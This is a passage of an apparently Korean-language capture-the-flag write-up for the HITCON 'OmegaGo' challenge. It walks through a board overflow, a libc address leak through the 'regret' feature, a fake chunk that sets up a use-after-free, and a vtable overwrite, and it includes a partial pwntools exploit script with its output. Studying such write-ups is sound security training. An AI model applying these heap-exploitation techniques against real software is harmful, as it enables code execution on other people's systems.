...
| Code Block | ||
|---|---|---|
| ||
unsigned __int64 DeletePlayHistory()
{
__int64 v1; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( gHistory[historyCnt - 1] )
{
v1 = sub_401EB6((GameInfo *)gHistory[historyCnt - 1]);
operator delete(gHistory[historyCnt - 1]);
sub_402FE6(&unk_607220, &v1);
--historyCnt;
}
return __readfsqword(0x28u) ^ v2;
} |
Debuging
Overflow
- 다음과 같은 코드를 이용하여 gameInfo 전역 변수의 값을 Overflow할 수 있습니다.
...
| Code Block | ||
|---|---|---|
| ||
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ python test.py [!] Cold not find executable 'omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' in $PATH, using './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' instead [+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': pid 3491 [*] Switching to interactive mode ABCDEFGHIJKLMNOPQRS 19 ..XXO\x00.OOX\x00X....... 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 XXXXXXXXXXX........ 11 XXXXXXXXXXXXXXXXXXX 10 .........O......... 9 OOOOOOOOOOOOOOOOOOO 8 ........OOOOOOOOOOO 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... Time remain: O: 180.00, X: 179.84 $ |
Decode
- 화면에 출력된 Address를 해석하기 위해서는 Board에 저장되는 Mark의 값이 어떻게 관리 되는지 확인이 필요합니다.
- 다음과 같이 유저가 좌표 값을 입력하면 메모리 값은 다음과 같이 변경됩니다.
유저가 입력한 값은 0x609fc0 영역에 0x2가 저장됩니다.
컴퓨터가 입력한 값은 0x60a01A 영역에 0x1가 저장됩니다.
...
| Code Block | ||||
|---|---|---|---|---|
| ||||
def decode(offset):
bit_offset = offset * 8
data = ''.join(board)
result = 0
for i in xrange(32):
states = '.OX\0'
val = states.index(data[bit_offset + i])
result |= val << (i * 2)
return result |
...
Structure of Exploit code
- Payload의 순서는 다음과 같습니다.
| Panel | ||
|---|---|---|
| ||
|
...
| Panel | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
...
Information for attack
Leak Libc address
- 다음과 같이 "regret"기능을 이용해 Heap 영역에 "main_arena.top" 영역의 주소를 저장 할 수 있습니다.
- 사용자가 위치 값을 입력하면 GameInfo(0x80)를 생성해서 gHistory[]에 저장합니다.
- AI GameInfo : 0x61d220
- HUMAN GameInfo : 0x61d160
- AI,HUMAN GameInfo 사이에 크기가 0x20인 Heap 영역이 할당되어 있습니다.
- Heap address : 0x61d1f0
- 사용자가 위치 값을 입력하면 GameInfo(0x80)를 생성해서 gHistory[]에 저장합니다.
...
| Code Block | ||||
|---|---|---|---|---|
| ||||
from pwn import *
#context.log_level = 'debug'
col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']
p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')
def Play(location):
p.recvuntil('\n\n')
p.sendline(location)
def surrender():
p.recvuntil('\n\n')
p.sendline('surrender')
p.recvuntil('Play history? (y/n)')
p.sendline('n')
p.recvuntil('Play again? (y/n)')
p.sendline('y')
def Fill(colStart, colEnd, row):
for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
locate = str(col_list[colNum])
locate += str(row)
Play(locate)
def readBoard():
global board
board = []
p.recvline()
for line in range(0,19):
p.recv(3)
board.append(p.recvuntil('\n')[0:19])
def decode(offset):
bit_offset = offset * 8
data = ''.join(board)
result = 0
for i in xrange(32):
states = '.OX\0'
val = states.index(data[bit_offset + i])
result |= val << (i * 2)
#print str(result) + ' |= ' + str(val) + ' << (' + str(i) + '* 2)'
return result
def LeakLibcAddress():
readBoard()
return decode(32)
#Memory reconstruction
surrender()
surrender()
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)
#Leak LibcAddress
p.recvuntil('\n\n')
p.sendline('D19')
p.recvuntil('\n\n')
p.sendline('regret')
libcAddress = LeakLibcAddress()
libcBaseAddress = libcAddress - 0x3be7b8
log.info('Libc Address : ' + hex(libcAddress))
log.info('Libc Base Address : ' + hex(libcBaseAddress))
p.interactive() |
Create a UAF vulnerability(Fake chunk)
- 앞에서 설명한 취약성을 이용해 UAF 취약성을 만들 수 있습니다.
- 공격 대상은 AI Class의 vtable 입니다.
- OmegaGo() 함수에서 AI Class의 vtable 공간으로 8 byte를 요청하고 있습니다.
- 해당 Chunk의 크기는 0x20이 됩니다.
- Chunk header(0x10) + Base heap area(0x10)
- 즉, UAF취약성을 생성하기 위해서 0x20 byte의 fake chunk가 필요합니다.
...
| Code Block |
|---|
#0xXXXX010 -> 0xxxxx290
Play('D19')
Play('E19')
surrender() |
Overwrite the vtable
- 다음과 같이 AI vtable을 덮어쓸 수 있습니다.
- AI vtable영역에서 호출 할 함수의 주소가 저장된 영역의 주소가 저장된 곳은 GameInfo.board[9] 으로 덮어쓰여 집니다.
- 해당 영역에 저장 할 주소는 gCmd 전역 변수 + 4(0x60943C + 0x4 = 0x609440) 입니다.
- 해당 정보를 이용해 다음과 같은 위치 값을 생성할 수 있습니다.
- 위치 값 : D14, E14, G14, R15, A5, Q6
- GameInfo.board[9] 영역에 0x609440이 저장되었습니다.
...